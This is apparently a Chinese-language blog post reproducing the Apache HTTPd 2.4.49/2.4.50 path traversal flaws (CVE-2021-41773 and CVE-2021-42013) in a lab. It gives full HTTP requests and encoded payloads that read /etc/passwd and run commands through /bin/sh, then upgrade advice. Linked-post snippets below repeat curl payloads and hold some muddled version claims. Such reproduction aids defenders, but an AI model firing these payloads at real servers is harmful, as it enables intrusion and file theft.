Apache CVE-2021-41773漏洞复现

已于 2022-04-27 11:10:52 修改
阅读量2.4k 收藏 1
点赞数
文章标签： apache http php
于 2021-10-11 10:47:42 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/luochen2436/article/details/120698682
版权
Apache HTTPd服务器的2.4.49和2.4.50版本存在路径穿越漏洞，攻击者可通过构造特定请求读取Web目录外的文件，甚至执行命令。影响条件包括开启CGI模式和目录遍历。漏洞复现包括GET和POST请求，通过URL编码绕过防护。建议升级至2.4.50以上版本，关闭目录遍历和CGI模式以修复。
摘要由CSDN通过智能技术生成

漏洞简介

Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新，披露了CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越漏洞。由于对CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞的修复不完善，攻击者可构造恶意请求绕过补丁，利用穿越漏洞读取到Web目录之外的其他文件。同时若Apache HTTPd开启了cgi支持，攻击者可构造恶意请求执行命令，控制服务器。

影响版本

Apache HTTPd 2.4.49
Apache HTTPd 2.4.50

漏洞条件

1.配置目录遍历,并且开启cgi mode
2.Apache HTTPd版本为2.4.49/2.4.50
3.存在cgi-bin和icons文件夹

漏洞复现

GET 请求包 目录穿越:

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 192.168.159.134:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: z
h-CN,zh;q=0.9
Connection: close

payload:

/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

在这里插入图片描述

POST 请求包 命令执行:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 192.168.159.134:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

echo;whoami

payload:

/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

echo;whoami

在这里插入图片描述

Apache HTTPd 2.49.50对上一个版本的修复不完整，导致50版本也存在该漏洞
GET payload:

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

POST payload:

/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

echo;whoami

​ 在上一个版本payload的基础上再进行一次url编码即可

修复建议

1.升级至2.49.50以上版本
2.关闭目录遍历功能
3.关闭cgi mode

3tefanie丶zhou
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
Apache HTTP Server 2.4.49 中的路径遍历和文件泄露漏洞 (CVE-2021-41773)复现实验报告
weixin_48400575的博客
02-13 3934
Apache HTTP Server 2.4.49 中的路径遍历和文件泄露漏洞 (CVE-2021-41773)复现实验报告
apache stucts 2远程命令执行漏洞 (CVE-2021-31805) poc检测工具
04-21
检测一个url命令为 python3 CVE-2022-22954-POC.py -u http://test.com 检测多个url命令为 python3 CVE-2022-22954-POC.py -f file.txt（把url按一行一个保存到file.txt中） 结果有可能如下
apache-CVE-2021-41773[42013]-本地验证
csd_ct的专栏
02-06 3186
cve-2021-41773本地验证 上次在验证41773时，使用bash命令反弹shell不成功，vulfocus上提供的时在线靶场环境有时间限制，且无法看到后台日志，不知道时哪里出错了，于是决定从0到1开始，在本地搭建一个实验环境，看看是哪里出现了问题 搭建本地验证环境 docker 中直接拉取apache 2.4.49的镜像 docker pull httpd:2.4.49 docker images 查看镜像，如图 启动该镜像，运行apache, docker run -d -p 80:80
【vulhub靶场】Apache 中间件漏洞复现
最新发布
M372109150的博客
05-10 1803
本文主要是对apache中间件漏洞的复现，包括Apache HTTPD 换行解析漏洞（CVE-2017-15715）、Apache多后缀解析漏洞（apache_parsing_vulnerability）、Apache路径穿越漏洞（CVE-2021-41773）、Apache路径穿越漏洞（CVE-2021-42013）、Apache SSI 远程命令执行漏洞
Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )
qq_59975439的博客
06-10 6212
Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )
CVE-2021-41773/Apache HTTP Server 路径穿越漏洞
末初的CSDN博客
10-08 4330
自己的一次简单的漏洞复现记录 学习请移步：https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md https://httpd.apache.org/security/vulnerabilities_24.html 影响版本：=2.4.49 利用条件：穿越的目录允许被访问，比如配置了<Directory />Require all granted</Directory>。.
CVE-2021-41773 漏洞复现
Jay17的博客
07-13 721
CVE-2021-41773 漏洞复现
CVE-2020-13925 Apache Kylin 远程命令执行漏洞.md
04-12
CVE-2020-13925 Apache Kylin 远程命令执行漏洞
【安全漏洞】CVE-2021-41773和CVE-2021-42013漏洞分析
qq_53058639的博客
01-06 382
Apache HTTP Server 2.4.49版本使用的函数在对路径参数进行规范化时会先进行url解码，然后判断是否存在../当检测到路径中存在%字符时，如果紧跟的2个字符是十六进制字符，就会进行url解码，将其转换成标准字符，如%2e->，转换完成后会判断是否存在../。如果路径中存在%2e./形式，就会检测到，但是出现.%2e/这种形式时，就不会检测到，原因是在遍历到第一个字符时，此时检测到后面的两个字符是%2而不是./，就不会把它当作路径穿越符处理，因此可以使用.%2e/或者%2e%2e。
apache代码执行（cve-2021-41773）漏洞复现
weixin_42675091的博客
09-23 936
apache代码执行（cve-2021-41773）漏洞复现
Apache多个组件漏洞公开（CVE-2022-32533/CVE-2022-33980/CVE-2021-37839）
murphysec的博客
07-07 3017
7月6日，OSCS监测到Apache基金会旗下多个项目漏洞公开，请使用相应组件的开发者关注。Apache Portals Jetspeed-2 未安全处理用户输入，导致了包括 XSS、CSRF、XXE 和 SSRF 在内的许多问题。以 XSS 为例，注册的用户名设置为 时，注册登录后每次加载用户名都会触发弹窗，配置 xss.filter.post = true 可以缓解风险。但官方表示 Apache Portals Jetspeed-2 是 Apache Portals 中不再维护的项目，不会提供更新，OS
Apache HTTPD 换行解析漏洞（CVE-2017-15715）
EC_Carrot的博客
05-19 131
漏洞详细 Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，1.php\x0A将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。 漏洞复现 我的环境是vulhub的靶机，开好靶机后打开网页：http://192.168.30.128:8080/ 正常上传一个马发现被拦 在eval.php后面插入一个\x0A（注意，不能是\x0D\x0A，只能是一个\x0A），重新放个包发现已经上传成功 ..
Apache换行解析漏洞CVE-2017-15715
qq_43665434的博客
05-10 704
Apache换行解析漏洞CVE-2017-15715 实验环境 主机 角色 IP centos8 漏洞靶机 192.168.1.80 windows10 攻击机（burp） 192.168.1.120 实验过程 启动centos8靶机，搭建漏洞环境： #开启docker service docker start #进入cve-2017-15715目录 cd /usr/sbin/vulhub/httpd/cve-2017-15715 #启动漏洞环境 docker-compose
Apache——CVE-2021-41773
qq_45770644的博客
10-06 3705
前言： Apache Software 已迅速发布了针对 Apache HTTP Server 中的零日安全漏洞的修复程序，该漏洞于上周首次报告给该项目。该漏洞正在野外被积极利用，它表示，并可能允许攻击者访问敏感信息。 CVE-2021-41773可能允许路径遍历和随后的文件泄露。路径遍历问题允许未经授权的人访问 Web 服务器上的文件，方法是欺骗 Web 服务器或在其上运行的 Web 应用程序返回存在于 Web 根文件夹之外的文件。 该问题仅影响 Apache 开源 Web 服务器的 2.4.49.
cve-2021-41773漏洞复现
06-28
### 回答1： cve-2021-41773漏洞是Apache HTTP Server中的一个安全漏洞，攻击者可以利用该漏洞在未经授权的情况下访问服务器上的文件。 要复现该漏洞，可以按照以下步骤进行： 1. 安装Apache HTTP Server，并确保其版本为2.4.49或更早版本。 2. 创建一个名为“test”的目录，并在其中创建一个名为“test.txt”的文件。 3. 启动Apache HTTP Server，并访问以下URL：http://localhost/test/.%2e/%2e%2e/%2e%2e/%2e%2e/test.txt 4. 如果服务器返回“HTTP/1.1 200 OK”响应，则表示漏洞存在，攻击者可以访问服务器上的任何文件。 需要注意的是，该漏洞只影响Apache HTTP Server 2.4.49及更早版本，如果您使用的是更新版本的Apache HTTP Server，则不受此漏洞的影响。同时，为了保护服务器的安全，建议及时更新Apache HTTP Server的版本。 ### 回答2： cve-2021-41773漏洞是一种存在于Apache HTTP Server 2.4.49以前版本的目录遍历漏洞，攻击者可以通过构造恶意的GET请求来访问并读取目标服务器上没有授权读取权限的文件，例如 /usr/local/apache/logs/error.log。 这个漏洞的复现非常简单，只需要使用curl或者其他工具向目标服务器发起恶意的GET请求，即可获取目标服务器上的敏感信息。 首先需要确定目标服务器上是否安装了Apache HTTP Server，并且确认目标服务器的版本是否在2.4.49以前。可以使用nmap等端口扫描工具扫描目标服务器上是否开放了HTTP服务，并尝试访问目标服务器上的默认页面，确认是否安装了Apache HTTP Server。 如果确定目标服务器上存在Apache HTTP Server，并且版本较低，则可以使用curl等工具向目标服务器发起以下恶意请求： curl -v http://<target_ip>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 其中，<target_ip>需要替换为目标服务器的IP地址，上述请求会尝试访问目标服务器上的/etc/passwd文件。如果能够获取到文件内容，则说明漏洞复现成功。 防范这个漏洞，首先需要及时升级Apache HTTP Server的版本，避免漏洞被攻击者利用。其次，可以使用Web应用程序防火墙（WAF）等安全工具来阻止滥用漏洞的请求，减少漏洞被攻击的风险。最后，建议对服务器配置进行加固，避免敏感文件被访问。 ### 回答3： cve-2021-41773漏洞是一个Apache HTTP Server的安全漏洞，可通过发送特制的HTTP请求来导致服务器上已经存在的目录结构泄露。该漏洞可能会公开网站上存在的私人和敏感信息，并为攻击者进一步攻击网站提供有关目标的有用信息。此漏洞的影响范围很广，可能影响许多版本的Apache HTTP Server。 要复现这个漏洞，我们需要在本地搭建一台Apache HTTP Server并设置虚拟主机。 在此之前，我们需要确保已经安装了Apache HTTP Server，如果没有安装Apache HTTP Server，可以通过以下命令在Ubuntu上安装： sudo apt-get update sudo apt-get install apache2 安装完成后，我们需要设置虚拟主机。在此例中，我们将使用名为example.com的虚拟主机。我们可以通过以下步骤进行设置： 1. 创建一个名为example.com的目录： sudo mkdir /var/www/example.com 2. 将权限设置为Apache用户： sudo chown -R www-data:www-data /var/www/example.com 3. 在我们刚创建的目录中创建一个名为index.html的文件： sudo nano /var/www/example.com/index.html 输入一些HTML代码，例如“ Hi there！” 保存并关闭文件。 4.创建一个apache虚拟主机配置文件： sudo nano /etc/apache2/sites-available/example.com.conf 在配置文件中添加以下行，以配置虚拟主机： <VirtualHost *:80> ServerAdmin webmaster@example.com DocumentRoot /var/www/example.com ServerName example.com ServerAlias www.example.com <Directory /var/www/example.com> Options Indexes FollowSymLinks AllowOverride All Require all granted </Directory> ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> 保存并关闭文件。 5. 禁用默认虚拟主机： sudo a2dissite 000-default.conf 6. 启用新虚拟主机： sudo a2ensite example.com.conf 7. 配置Apache HTTP Server： sudo service apache2 reload 现在我们已经设置了虚拟主机，我们可以开始测试漏洞。我们可以使用curl发送一个特制的HTTP请求来尝试获取服务器上的文件和目录结构。如下所示： curl -v http://example.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 上面的请求意味着我们正在请求服务器上的“/etc/passwd”文件，这是一个包含用户的帐号信息的文件。执行上面命令后，我们将看到类似以下内容的响应： ... < HTTP/1.1 200 OK < Accept-Ranges: bytes < Content-Length: 266 < Connection: close < Content-Type: text/plain ... root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... ... 在上面的响应中我们可以看到给出的是服务器上的用户的帐户信息，这表明我们已经成功地利用了漏洞获取了服务器上的敏感信息。 攻击者可以进一步利用此信息对系统进行攻击。此外，在通过Apache HTTP Server公开网站的时候，最好配置适当的安全策略以确保保证系统的安全性。
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值